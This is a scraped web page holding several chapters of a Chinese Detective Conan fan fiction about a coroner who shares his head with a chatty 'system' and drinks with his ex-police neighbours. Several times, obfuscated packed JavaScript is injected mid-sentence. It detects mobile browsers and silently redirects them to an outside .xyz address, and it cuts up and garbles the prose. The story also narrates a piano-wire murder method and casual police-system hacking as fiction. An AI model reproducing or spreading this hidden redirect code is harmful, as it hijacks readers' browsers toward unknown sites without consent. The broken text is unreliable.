“首先那不是绑架,”被各种人打听了一整天的黑泽先生熟练地回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716748|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我只是和他谈了谈。” “不是吗?”松田这样说着,表情倒不是很意外,“传说你可是把他教训了一顿。” 谣言这种东西永远是越传越离谱的,不过对于这种事情,想辟谣也很困难,黑泽阵耸肩:“教训他不用动手——今天效果不就很好?” “你所说的‘效果’……”松田嘴角抽了抽,“该不会指的是你今天准点下班吧?” 黑泽先生一脸理所当然的点头:“今天没什么案子。” 萩原研二带着食物回来,正听到他们的对话,有些无奈地接话:“不管怎么说,工藤君总不会是什么幕后黑手的。” 他们在这里开店,和那位高中生侦探也见过几次,对方同罪犯的差距可谓天悬地隔,也难怪警局内部只能将黑泽医生和他的恩怨归结于“发泄”。 “但是效果很好,”黑泽阵强调,同时弯腰接过食物,“谢谢。” “不用钱,我请你,”萩原研二迅速阻止了对方拿钱的举动,笑眯眯地说,“庆祝你难得回来。” “和成功绑架工藤新一。”松田阵平补充。 真是对麻烦的幼驯染。 黑泽先生放弃辟谣,接受了咖啡店主的好意,继续道:“而且,未必要是幕后黑手才能有关联。” 话题突然转回去,两位退休警察都是一愣,还是萩原研二先反应过来,他眨眨眼,无奈地笑道:“你该不会……也开始相信玄学了吧?” “那个侦探自己说的,排除所有不可能,剩下的就是真相,”黑泽先生嘴角掠过一丝笑意,视线不经意似的扫过他的双腿,“也许就是这么巧。” “明早见。”他微微颔首示意,转身离开。 “医生也会信玄学吗?”目送法医邻居离开后,萩原研二转头望向幼驯染。 松田阵平拉过他的轮椅把手,推着向对面走去:“这有什么奇怪的,要我说,工藤那个小鬼是不怎么正常。” 遇见案子的频率高得让人疑惑了。 “而且,米花这个案子的增速,他那个工作强度,”走到街对面后,酒吧老板松开轮椅掏钥匙开门,“到今年脑子才出问题已经很了不起了吧。” “小阵平你说得好像比我更严重啊……”萩原研二小声吐槽。 与此同时,黑泽先生回到自己家中——与系统猜测的不一样,他的住所是个装修十分普通的公寓,几乎就是办公室的放大版。 而且家具数量几乎没有增加,因而甚至显得有点空荡。 黑泽阵把门关上,坐在沙发上拿出三明治,系统的声音低低地响起来:“你和他们还挺熟的嘛……” “还好,”黑泽先生一边吃晚饭一边在脑内回答,“以前比较空的时候,会一起喝几杯。” 后来他就忙得没空去酒吧了,倒是偶尔早上能去波洛买杯咖啡。 “原来如此……”系统没有对这个有些敷衍的回答发表意见,它还没有迟钝到不知道现在宿主想要了解什么。 屏幕在黑泽先生眼前展开,两份档案出现在上面。 9. 命运的转折点 “那么,情况是这样的,”经过之前那段时间的冷静,系统的声音不再那么一惊一乍,还算镇定,“按照原本的剧情,这两位本来都应该已经死掉了,所以我才那么惊讶的。” 听到此刻还活生生的人本该死去,正常来说应该多少会有些吃惊,但黑泽先生已经被系统搞得无感了,此时心中毫无波澜:“只是因为这个?” 这玩意自己好像都有复活道具吧。 系统大概理解了一下他的意思,然后解释道:“这很奇怪呀,因为我绝对没有使用过任何道具,而在我来到这个世界之前,这里应该也没有我的同类来过才对……” 所以剧情的偏离才会让它惊讶,虽然刚来这里的时候就惊讶过一回了。 但是,一边是职业道路的变更,另一边是死人直接活了,它怎么可能从前者推理出后者嘛。 这倒是勉强能解释得通,所谓的原作剧情对它来说难道很重要吗? 黑泽阵这样想着,扫了眼档案,开始吃自己的晚饭:“在你这里有资料,算是剧情里的重要人物?” “那倒也……”系统犹豫了一下,“毕竟死得早,可能算不上特别重要吧,我这边资料很全的,只要是剧情人物都有资料,只是多少的区别。” “当然,都是在剧情改动之前的资料,因为我手上只有原作,”它补充道,“现在是什么样的,我也不知道。” 本来以为就只是宿主一个人的问题,现在看来,整个都不太对劲啊…… 该不会工藤新一破的那些案子里的死人都有资料吧。 黑泽阵随手拉动档案,一目十行地扫过上面的字句。 他到米花的时候,这两位警察都已经退役,他对两人的认识更多只是邻居和隔壁店主,此时看着这份警察履历,自然没有什么波动。 直到档案一拉到底,黑泽先生才微微挑眉。 “这个事件我有印象,”他在松田阵平档案最下方那行字上点了点,“他是因此退役的。” 这场爆炸案发生在黑泽阵来米花前不久,因为性质恶劣,闹得比较大,他到米花之后也听说过。 不过,上面所写的结果和现实不同。 “是的,我刚刚登上你的电脑查了下,”系统的声音此时有种莫名的虚弱感,“那个炸弹的威力没有原作那么强,所以松田阵平活下来了,但留下了后遗症,还断了一只手臂。” 没有任何波澜壮阔的拯救,就是非常简单的炸弹威力不同,从炸死人变成炸伤人而已。 之后的情节也很简单,因为失去了惯用手,加上爆炸的后遗症,松田阵平从警察变为酒吧老板,和自己的幼驯染一起组成了米花商店街靓丽的风景线。 原来突然安静是去查资料了,连这都得登电脑去查……它说的“不能直接干涉现实”,概念还挺严格的。 这个念头在黑泽阵脑海中一闪而过,他又看向萩原研二的档案:“那么这个也是?” “嗯,同样是炸弹威力的问题,”系统老实回答,“事件就是原本导致他死亡的事件。” 同样没有任何变化的征兆,甚至萩原研二还是没穿防护服(这部分资料是它黑进警方系统查到的),但结局确实改变了。 失去双腿对生活的影响无法估量,如今的萩原研二看起来依旧活得轻松自在,网络上自然不可能查到他在这七年间经历的所有事情。 而如果要猜测的话…… 系统有点想叹气,作为系统来说,它的感情可能是过于丰富了,但有些东西只要知道,就是会忍不住去想。 比起刚见到时的惊讶,深入去想的话,总觉得惆怅的感觉要更多一点。 当然,更多的情绪还是疑惑。 这个世界的变动,比它以为的更离奇。 比起宿主这样职业生涯的巨变,这两位的人生经历就几乎没有改变,唯一的变化就发生在应当退场的时候。 事件还是那个事件,也没有任何事实表明,那时的炸弹曾经发生过任何变化,但它的威力就是改变了,而且改变了两次。 就像是,有什么力量在冥冥中阻止他们死掉一样。 “要说是童话的大团圆,那断手断脚的,也有点太不‘团圆’了……”系统低声喃喃,“不过,比起死掉……果然还是能活下来更好吧?” “既然之前没死,那以后也别死在米花。”黑泽医生冷酷无情地回答。 “……我还以为你和他们关系不错呢。”系统无语。 “还可以,”黑泽阵吃完晚饭,他将垃圾扔掉,拿了根烟出来,“不值得你在我脑子里大喊大叫。” 看起来聊得不错啊,就只是“还可以”吗……系统芯里吐槽了一半,突然反应过来:“对不起!” 它的注意力确实很容易转移,黑泽先生眼前的屏幕上出现了一个跪倒的小人,在不断磕头:“之前我太惊讶了,以后一定会更谨慎的!” “以后?”这个词让黑泽先生的脸色变得糟糕起来,一时间都忘了点烟。 虽然系统说得信誓旦旦,但从这两天和它的接触来看,可信度实在没有多少,他还不如再找找静音键。 “因为,以后肯定还会有更多意外的,”系统支支吾吾地说,“虽然我早就知道,这个世界和原作会有差别,但没想到连死人都牵扯进来了,那以后肯定变化更大……” 但不管怎么说,有了今天的铺垫,哪怕不知道意外会在何时到来,至少如果再看到什么没死的人,它应该不会这么惊讶了…… “我一定会谨言慎行,不会再打扰到你……”系统顿了顿,谨慎地更改措辞,“就算打扰,也一定会注意音量,小声惊讶的。” 它的宿主发出一声嗤笑——系统已经发现了很有意思的一点,黑泽先生几乎不会开口和它说话,哪怕是在独处的时候,但不管何时,他好像都还挺乐意笑出声的,虽然大部分是在嘲笑。 “你就不能忘了你那‘原作’?”黑泽阵嘲弄地说。 “可是人还是那些人,这很难啊!”系统为自己辩解,“我又读不了这个世界的剧情,不靠原作会更懵的。” 但说到底,那个“原作”对它的任务根本没有意义吧? 黑泽阵冷淡地想。 “我一定会小心的啦,”系统不知道宿主在想什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716749|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,继续唯唯道歉,“没有静音键真是抱歉,这个其实本来是为了防止宿主错过重要消息的设置,当然我可能是有点话多,会尽量忍耐的……” “可以了,”黑泽先生按了按太阳穴,“记得在我工作的时候保持安静,平时少大喊大叫就行。” 既然接受了这玩意的存在,那就代表也得接受它带来的一些麻烦,目前来说,至少还在可以忍受的范围内。 在米花当法医的人,不至于连这点风险都承担不了。 得到宿主的许可,系统松了口气,收起屏幕上的磕头小人,迅速转移话题:“说起来,你们这个街区是怎么回事啦,米花退役警官再就业示范处吗,隔壁还是毛利侦探事务所……” 它转移话题的策略不能说不成功,黑泽医生回想起了自己最初会在波洛咖啡店门前停下的原因。 “这个事务所……有什么特别之处吗?”他问道,“你刚才很惊讶。” 只不过后来更惊讶,反倒把最初的情绪掩过去了。 “呃,因为……”系统纠结了一下,“这算是故事的主要场景之一了吧。” 这倒是有些出乎意料,黑泽先生微微挑眉:“故事的主角不是工藤新一吗?” “啊,但是他……”系统一时不知道该如何跟宿主解释“他本来应该会被你一棍子变成小孩”这种复杂的剧情,犹豫了一下之后,摆烂道,“算了,我这里有全套的《名侦探柯南》,你要不要趁着有空看一眼?” “柯南?”这个名字让黑泽阵有些惊讶,想了想才道,“……工藤新一的化名?” “算是吧……”系统倒不惊讶他能猜到,直接把一张江户川柯南的大脸展现在屏幕上,“长这样。” 黑泽先生对着那个小学生陷入了沉默。 “所以我说这很难解释嘛,”系统嘟哝,“而且牵扯到原作里的你……我不知道该怎么说。” “这故事超级长的,如果你要看的话,我可以想办法只截取主线出来。”它最后说道。 黑泽阵凝视着眼前的大头小孩沉吟片刻,拒绝了这个提议。 “如果如你所说,这个世界和故事里有很大差别,我最好还是不要先入为主。”他冷静地说。 系统只是来拯救世界,他可是还要在这里工作的,虽然不是没有好奇心,但如果不出意外,事情总归都会发生的,而如果出了意外……那看了也没用。 黑泽先生的好奇心没那么重。 “有道理,”系统顺从地把图片关掉了,“那以后如果遇到什么认识的人,我可以跟你解释……呃,只要没有发生什么大变动。” 黑泽先生没有回话,他垂下眸,终于把那根烟点起来了。 他叼着烟沉默片刻,才说道:“这么说我和故事里也不一样。” 话都说到这了,他要是再没有觉察才是奇怪,系统乖乖应道:“差别很大啊……怎么说呢……” 它思索着说道:“虽然刚才遇到的两位警官活了很让人惊讶,但对看故事的人来说,你会成为米花町的法医……才更加少见吧。” 这回答得到黑泽医生一个意味不明的笑。 10. 邻居 虽然在下班路上受到了系统的轰炸,但对黑泽先生来说这还算是个不错的日子。 因为这天晚上竟真没有新的案子,他久违地在家里睡了个整觉。 第二天早上出门的时候正遇上隔壁萩原研二开轮椅出来,后者一脸恍惚,差点撞上护栏。 一看就知道是昨晚在酒吧待晚了。 要说这也怪不得萩原,七年前他因伤退役之后,租下警察前辈家的店面开了名为“Poirot”的咖啡店,为了做广大社畜的生意,把开店时间定得早些,关店时间相应提前,这也算是常见的操作。 然而四年后,他的好友松田阵平以几乎一样的方式退役,然后在他的店对面开了家叫“Queen”酒吧。 其间种种经历不必细说,对商店街的居民和顾客们而言,这对幼驯染不分你我,常年在对方店里出没,咖啡店早起酒吧晚睡,攻占米花商店街的二十四小时。 比起昼夜混乱的松田阵平,萩原研二晚上回得早些,早上则要早早出来开门,迎接第一波生意,午后才能回去补眠。 因此一旦晚上没把握好时间,第二天早上就难免精神不济。 被把住轮椅往后拉的时候,一时间都没反应过来。 “哎呀……”昏昏欲睡的紫色眸子转过来,然后变成微笑,“好久没在这时候见到你了,黑泽医生。” 其实真正在这时候见到的次数并不是很多。 黑泽医生刚到米花的时候,米花的法医工作还没有那么忙,以他的工作效率,还能有些空闲时间去酒吧喝酒,可以算是奎恩酒吧的第一批客户。 后来他住进这栋公寓楼,和这对竹马成了邻居,法医先生每天早起,便时不时会在早上和同样早起开店的萩原研二遇见,偶尔还会帮忙把昏昏欲睡的老板推进店里。 顺带一提,那段时间他也经常和晚上关店的松田阵平遇上。 但可以想见的,这样的生活没过多久,黑泽先生便忙得没空回家,开始了他在两条街外出差的生活。 这样看来,他和邻居们的相识过程,俨然是一部米花法医血泪史。 和邻居有段时间没见,咖啡店主依然表现得很热情,萩原研二打了个呵欠:“今天要不要试试店里的新品?我请客呀。” 比起酒,黑泽先生对咖啡并无什么嗜好,虽然住处隔壁就是咖啡店,但也就偶尔光顾,对咖啡品种更是没多少了解。 不过面对邀请,他也没什么意见,就直接把波洛的店主送到店门口去了。 萩原研二掏钥匙开门,然后开着轮椅径直往后厨驶去,他的轮椅似乎又做过一些改造,在他的操作下灵活得像是脑机操控。 “对了,”几秒钟后他从后厨探出头来,“要不要拿个面包?虽然是昨晚剩下的,我可以再加热一下。” 黑泽阵对他做了个赞同的手势,然后在店里的桌边坐下了。 “你们明明就很熟啊。”系统感觉上当了,看昨天宿主的态度,还以为他们就是普通的认识,但今天一看,这完全是友好互助的邻居典范啊! 要是不熟的话,以宿主的性格,应该不会连着两顿饭接受别人请客吧? 黑泽先生还是那个回答:“是还可以。” 系统一时无法把握宿主对“还可以”的定义,卡壳半晌之后嘀咕:“听起来真的很像口嫌体直……好像口也没有很嫌。” 这种奇怪术语黑泽先生自然不懂,不过从对方的语气他也能猜出不是什么好话:“我的人际关系和你无关吧?” “我好奇嘛,”系统小声逼逼,“你现在可是我的宿主,而且,在这里的话,完全没法从原作当中得到什么信息……” “依我看,既然早就知道事情已经发生变化,”黑泽阵说道,“你最好也不要先入为主。” “说是这么说,”系统叹了口气,“但人毕竟还是这些人,就算身份位置改变了,有些本质仍然是一样的……” 它不知道是在说眼前刚从后厨出来的前警官,还是宿主:“看到的时候,还是会受到最初印象的影响啊。” 黑泽先生不置可否,他站起身,走向迎面而来的萩原研二:“麻烦你了。” “哪里,”后者将食物递上之后,对他摆摆手,笑着说道,“今天也要加油啊,黑泽医生。” 医生对他点头示意,然后转身离开,长发轻飘地在半空中拂过。 “好~”咖啡店老板目送顾客离开,轮椅在原地转了一圈,声音轻快,“今天开张顺利!” 今日的米花町十分平静。 具体表现为,黑泽医生已经验完了昨晚积攒的五具尸体(因为不用解剖,验尸速度很快),却还没有新的尸体送达。 于是他去了进了办公室,从柜子里抱出一叠又一叠的文件。 “这,都是啥啊?”系统无心关注宿主的人际关系了,它有种不祥的预感。 “以前的报告,”黑泽阵有点不解,“你不是见过吗?” “不是,”系统震惊,“那昨天你整理的那些是什么?” 不是已经整理过了吗? “那是过去三年的,”黑泽医生解释道,“这些是更早之前的内容。” 系统觉得有点发晕。 要知道,现在它唯一能直接影响的实体就是黑泽医生的那台电脑,而作为系统,别的不说,传输信息这方面还是非常快的。 所以将这些纸质资料录入的任务,不出意料都会落到它头上。 “最近三年的文件基本上是我写的,原本就已经整理过,所以完成得比较快,”黑泽阵还在往外搬文件,“但更早的这些经常出自不同的人,风格也有很大的区别,整理起来会比较麻烦。” 他顿了顿,眉目间泛起一丝笑意:“如果不是你来了,我也不会想要把它们理出来。” 系统更晕了,可悲的是崩溃之余它还感觉到了一点被认可的喜悦,实在很像是在被宿主PUA。 “这么说,”系统发懵地说,“你之前和工藤新一说的那些数据……” “那是估算的,”黑泽医生理直气壮,“我哪有空把这些东西算得那么准确,不过至少最近三年的数据不会有什么问题。” 系统沉默良久:“……也挺好。” 在整理数据方面,系统确实很有用。 虽然它并不能凭空扫描文件,但只要宿主看了,它的扫描速度和精度就都是毫无问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716750|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,更别提在电脑操作方面,虽然它总是说着“太落后了”,但其实把这个“落后科技”玩得非常顺畅。 工作过于顺利,以至于一路整理文件到了下午,黑泽医生才意识到,今天竟然到现在都没有新的案件出现。 “你,”他站起身,决定去吃点什么,“真的没有偷偷干掉工藤新一?” “那是你才会做的事情吧!”系统抓狂道。 “我可不会,”黑泽医生走出办公室,一脸厌倦,“要是真的决定动手,就没有‘偷偷’的必要。” 重点在于干掉的方式而不是干掉本身吗,系统暗自吐槽:要是原作里的你也这样想,这个故事就没了啊。 不过黑泽先生也就是随口一说,要是他的工作强度能恢复成米花的正常状态,工藤新一是死是活也没那么重要。 可惜,就算没看系统提供的资料,但单从它的态度,和所谓“原作漫画”的性质,也能猜到,这个愿望大概只有反向实现的份。 黑泽先生给自己点了根烟:退而求其次的话,如果这种平静的生活还能持续几天,他大概就可以把整理资料的工作推进到五年前。 “这种平静的生活”确实持续了两天。 当然,这平静是相对的,对米花町来说,两天时间才发生了一起恶性案件,可以说是风平浪静极了。 以至于整个米花警署上下,算上编外人员,最忙的竟然是系统。 除了继续填写验尸报告(因为解剖需求较少,这部分的工作黑泽医生完成得很快),还得帮宿主扫描资料,宿主都下班了,它在电脑里加班整理数据,虽然这些数据并不复杂,它一心两用都能完成,但还是令自诩高科技的系统颇为伤感。 与之相对的,它那终于能下班回家(虽然不一定准点)的宿主心情就很不错。 因此这天晚上,黑泽先生终于应松田阵平之邀,去他开的酒吧喝上一杯。 虽然是松田阵平开的店,但呈现出的效果同合伙没有多大区别,黑泽阵到的时候,萩原研二正坐在酒吧的柜台后展示花式调酒。 酒瓶和雪克壶在他手中转动着上下翻飞,这本就是炫技的行为,由他做来更显得华丽夺目,令人难以移开目光,等到他将调好的酒倒进杯子里,轻轻推到顾客面前的时候,那位小姐的脸色仿佛已经醉了。 “您的玛格丽特,”调酒师微笑着说,紫眸在幽暗的灯光下脉脉含情,“慢用。” 突然让人体会到了花式调酒的魅力。 直到晕乎乎的客人接过酒杯,萩原研二才开始收拾吧台上的工具,他擦着杯子,眸光一转,眼角又弯起来:“黑泽先生,还是金汤力?” 黑泽阵在吧台边上坐下:“伏特加。” 连着几天的低强度工作,让下班之后的黑泽先生显得比平常柔和许多,他终于没再穿那身疑似固定装备的白大褂,换了身休闲装,银发在酒吧的环境中闪着微弱的光。 拥有帅哥老板+帅哥调酒师的酒吧刷出崭新的帅哥,引来边上女孩子们的窃窃私语,也足可见法医先生真的很久没来这里。 萩原研二还能记得他常喝的酒,实在是服务意识超群——而且确实替幼驯染看了很多次店。 11.死神诞生之夜 听到不常出现的需求,萩原显得有些惊讶,但还是很快转过身,从酒柜里取了瓶伏特加出来。 “这两天不是很忙?”他一边倒酒一边随口问道。 “已经有很多人对我说过类似的话了,”黑泽阵的语气有点无奈,“让人感觉很不吉利。” 萩原研二不由轻笑,他将酒递过去,半是安慰半是调侃地说道:“怎么说也不会比之前更糟了吧。” “更不吉利了。”黑泽阵指出,随即喝了一大口酒。 他说这话完全不假,毕竟据系统所说,现在故事甚至尚未展开,就显得这两天平静的日常更像是暴风雨前的宁静。 更别提今天一整天,系统都呈现出一种莫名紧张的状态。 实在令人很难乐观。 但人总不能受限于未知的将来,所以虽然感觉情况不妙,黑泽先生还是按部就班地做着自己的事情,甚至没有对系统开口询问。 反正它自己迟早会憋不住的。 “那今晚好好放松一下吧,”萩原笑眯眯地说,“让小阵平多赚点。” “不要说得我像个黑心老板一样啊,萩。”这家酒吧真正的店主松田阵平终于出现在吧台里。 哪怕是在酒吧这样昏暗的环境里,他仍然戴着墨镜,虽然如此,也不影响他非常精准地接住萩原扔过来的酒瓶,反手放进柜台里,引来女孩子们又一阵骚动。 “怎么会是因为我呢,”萩原笑道,“外面可是有传言,说这间酒吧的老板是□□成员呢。” “哈?”松田拉下墨镜露出半边眼睛,“你又是从哪里听来的奇谈怪论啊。” “因为小阵平看起来很凶吧,”萩原研二神情无辜,“多笑笑就会好啦。” “像你一样吗?”确实很凶的松田阵平瞪了他一眼,然后目光转向吧台外面,扫过还没有多少人的场内之后,定格下来,“终于有空了,黑泽先生?” “比之前好点。”黑泽阵随意地说。 “这几天没听说有什么案子,”松田终于把他那个墨镜摘下来,随手放到一边,“还以为你会比较有空。” “在整理文件,”黑泽阵回答,“至于案子,今天下午接了个断头尸,可能还没见报。” 那具尸体死在众目睽睽之下,又是被工藤新一瘟死的,各方面数据比较齐全,不需要解剖,他只做了尸检,报告交给系统,故而成功准点下班了。 即便是在米花,目前来说,在酒吧里公然提起断头尸这种事情还是比较吓人的,至少边上那些原本在打量帅哥的女士们脸色就有些变了。 松田阵平倒是已经习惯的样子,甚至还有点好奇:“断头?” “是啊,”黑泽阵随手比了个手势,“是断头杀,切口非常整齐。” 有关□□成员的传言……这可不是难怪了吗。看着这两个充满□□气质的男人在那神态自若地讨论断头,萩原研二在心里叹了口气。 倒也不是所有人都听不得案件,虽然有人避开,但也有几个好奇的客人反而凑近了些,黑泽先生没太在意,继续说道:“游乐园发生的案子,应该很快就会有报道了。” 听到这个地点,就有人接话问道:“游乐园,是多罗碧加乐园吗?” 米花附近也就这一个乐园,黑泽阵看他一眼,点头:“坐过山车的时候被人杀害的。” 说到这里,他眼底浮现出一点嘲弄:“他运气不好,和工藤新一坐的同一趟。” 其他人不知道他为什么在这时提起工藤新一,两位店主倒是有些无奈地对视了一眼,他们都不觉得案件真和那位侦探有关,但这相关的频率确实难以解释。 好在客人们并不了解这些事情,而是对其他事情感到不解:“过山车上怎么能断头的?” 黑泽先生有点嘲讽地笑了声:“手法还挺特别的。” 一般来说,对于手法残忍的凶杀案,办案人员不会公布具体的手法,一是为了避免引起恐慌,二是防止模仿犯罪。 不过眼下还留在边上听的,多少都有些胆量,而且,更重要的是,这起案子显然没有什么模仿的可能。 见众人都露出好奇的神色,黑泽先生扫视四周,随手拆了一截摆在旁边做装饰紫色丝带。 他在丝带一端绑出个套圈,往前一抛,那个圈飘飘荡荡地挂到在正坐在他面前的萩原研二脖子上,调酒师低下头,无辜地眨了眨眼。 ……他好像有点明白了。 “用的是钢琴线,在过山车行进时套在受害者脖子上,”黑泽阵解说着,拿出两个硬币绑在余下的丝带尾端,“另一边套上挂钩。” 他将模仿挂钩的硬币向旁边抛过去,半道就被松田阵平下意识地截住了。 黑泽先生也没在意,干脆顺势道:“钩在过山车的轨道上,然后……” “被过山车的速度一带——”他做了个拉扯的手势,笑容在幽暗的环境里显得阴森森的,“头就掉下来了。” “总之,那具尸体确实是瞬间断头的,”法医先生喝了口酒,总结道,“掉下来的脑袋受伤不轻,就算还连着身体大概也死了。” 一时之间,酒吧背景的音乐声显得分外清晰,脑袋掉下脖子的画面浮现在每个人脑海里。 多数人在惊恐,少数人在思考怎么缓和气氛,还有人……受到了启发。 不久之后,当米花町的案件井喷之时,或许会有不少人想起,商店街的酒吧里,银发法医介绍钢琴线杀人技巧的那个夜晚。 一片寂静中,萩原研二拎起自己脖子上的丝带看了看,笑道:“小阵平你应该不会这么对我吧?” 松田阵平翻了个白眼,将手中绑着硬币的丝带尾端抛给他:“我们现在都坐不了过山车。” 有人说话之后,凝滞的气氛缓和了些,边上的客人接话:“就算能坐过山车,这也不是一般人能做到的吧?” “据说凶手是练体操的,”黑泽阵喝完自己杯中的酒,“受害者是她前男友。” “还好我没有练体操的前女友,”萩原笑着将硬币从丝带上拆下来,“呐,还你作案工具。” 你根本没有前女友吧。松田阵平忍住了没去拆他的台。 而黑泽先生摆手:“给你了,小费,再给我杯Gimlet。” 调酒师从善如流地收起这两枚硬币,从柜台下取出柠檬汁和苏打水,再要转身的时候,店主已经将一瓶琴酒放在他手边。 松田阵平顺手把还套在幼驯染脖子上的丝带摘下来,往边上扫视一圈:“不需要调的酒来我这点。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721410|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好啦,”萩原研二笑眯眯地对还没反应过来的客人们说,“黑泽先生的小剧场结束了,感兴趣的话下个月再来哦~” 此时此刻,吧台边的客人们仿佛才意识到,自己来酒吧并不是为了聊什么杀人案的,大家恍然大悟,选酒的选酒聊天的聊天,气氛总算恢复正常。 看帅哥的姑娘们也重新有了兴致,不谈断头就好,现在可是triple kill,她们未必在意什么□□传闻。 萩原研二开始调酒,店主本人帮人拿了几杯酒之后倒是无事可做,拿起那条被拆下来的丝带,把玩起来。 而黑泽先生望着酒柜,似在出神。 “我没想到你话还是挺多的嘛。”系统说。 “我没想到这话会被你说出来。”黑泽阵回答。 系统有时候又能显出点应有的智能,比如它现在就听出了宿主的讽刺,小声哼哼道:“我刚刚那么安静……”又不是一直话多的。 “但是,我本以为你是那种进到酒吧里,除了点酒什么话都不说的,冷酷无情的类型。”它继续说。 黑泽阵挑眉:“我在‘故事里’是这种类型?” “这个……”系统犹豫了一下,“也不完全是吧。” “你在为数不多的酒吧场景里……”它顿了顿,不知道是不是在查资料,“在当众打人。” 对此等“诽谤”,黑泽先生一阵见血地指出:“你省略了一些内容。” “我概括能力很差,”系统辩解道,“反正我没怎么见过你和人聊天。” “一般人工作的时候都不会聊天的,”黑泽阵接过萩原研二递过来的酒,“你今天话也很少。” “我——”系统像是想辩解什么,但最终还是说道,“你说得对。” “事情的变化太多,我也不知道之后会变成什么样,”黑泽阵一边品酒,一边听着系统慢慢说道,“我只是为了拯救世界而来的,无法读取故事,也就很难恰到好处地改变它的走向,现在看来,这个世界只会越来越偏离原作……” “这会很糟?”黑泽阵问道。 “这个世界毕竟是在原作故事的基础上诞生的,虽然有很大的容错空间,但要是整个故事都走不下去的话,还是会影响到它本身的,”系统说,“那么不管多少次拯救世界,也就是治标不治本而已。” 不过,这可能就是它会接到这个任务的原因……一般正常的世界哪会有那么多世界末日。 “这是否意味着……”黑泽先生放下酒杯,“你会一直在我脑子里?” “啊这,”系统尴尬道,“按照当前的数据分析来说还不至于,光靠治标就能撑住了,迟早会走上正轨的,但如果问题越出越大的话……” 它像感觉到危险的小动物一样飞快地说:“但就算我不在,你也很忙不是吗?” 这话很成功,黑泽阵笑了声,物理的。 “你说得对,”他对听到动静看过来的店主举起酒杯,“今天的报告整理好了吗?” 在这个死神诞生的夜晚,米花町的法医享受着难得的悠闲时光,世界拯救者在落后的机械里赶工,无数杀机隐藏在每个静待引爆的建筑里,本该死去的男人指尖绽开一朵鲜艳的花。 米花町正在苏醒。 12.迷你死神 黑泽阵没想到自己第二天还能准点下班。 说实在的,看系统那副样子,他还以为自己一觉醒来就要迎来穷凶极恶的连环杀人案,结果第二天竟然只有一起毫无技术含量的入室抢劫,他差点都要感到失望了。 不过没有更多的尸体当然是好事,靠着前几天相对清闲的日子,黑泽医生已经把好几年前的验尸报告都翻出来了,在米花这个案件的宝库中,可谓收获颇丰。 一想到此,他衷心希望工藤新一能消失几天。 众所周知,黑泽先生的愿望被超级加倍的实现了。 但显然,他并不高兴。 因为当天的回家路上,黑泽阵路过某咖啡店的时候,正见到此店房东的女儿抱着一个头上绑着绷带的小鬼,下车回家。 “咦,黑泽先生,”女高中生很有礼貌地对他打招呼,“您回来了呀。” 她注意到对方看向自己怀里孩子的目光,笑着介绍道:“这是柯南,阿笠博士的亲戚,现在借住在我们家里。” “柯南”一词在此时的杀伤力无疑是巨大的,黑泽先生原本只是扫一眼陌生小孩,此时目光突然顿住,把“小孩”吓得一哆嗦。 毛利兰没有觉察到这微妙的氛围,她继续对着柯南说道:“柯南,这是黑泽先生,就住在我们隔壁。” 恐怕是住不下去了。黑泽阵面无表情地想。 “你……您好,黑泽先生。”江户川柯南赶紧装乖。 工藤新一在心里犯嘀咕:他还是高中生的时候,没觉得黑泽先生的眼神那么可怕啊,难道是遭了黑衣人之后胆子变小了? 此时看来,即便没有系统先前的提示,情形似乎也很明显,黑泽先生沉默几秒,好心地提醒邻居:“既然是别人家的亲戚,最好不要久留。” “没事,柯南很乖的,”毛利兰笑眯眯地说,“今天还帮爸爸一起办案呢!” 说到这里,她似乎终于反应过来:“啊,爸爸又跑那么快,我们得回去了,黑泽先生再见!” “再见!”装乖的小鬼也摆了摆手。 黑泽阵站在波洛咖啡厅门前,仰头看着二楼的侦探事务所,脸色十分微妙。 在几乎相同的时间看到几乎相同的稀有画面,松田阵平一时还以为时间重叠。 这几天见到黑泽先生的次数还挺多的嘛……米花治安上去了?他一边这么想着,一边走上前去,对方像是脑后装了监控,瞬间转过头。 “怎么准点下班你的脸色还是那么糟糕啊,”松田阵平看着对方不怎么好的脸色,调侃道,“昨天晚上宿醉?” 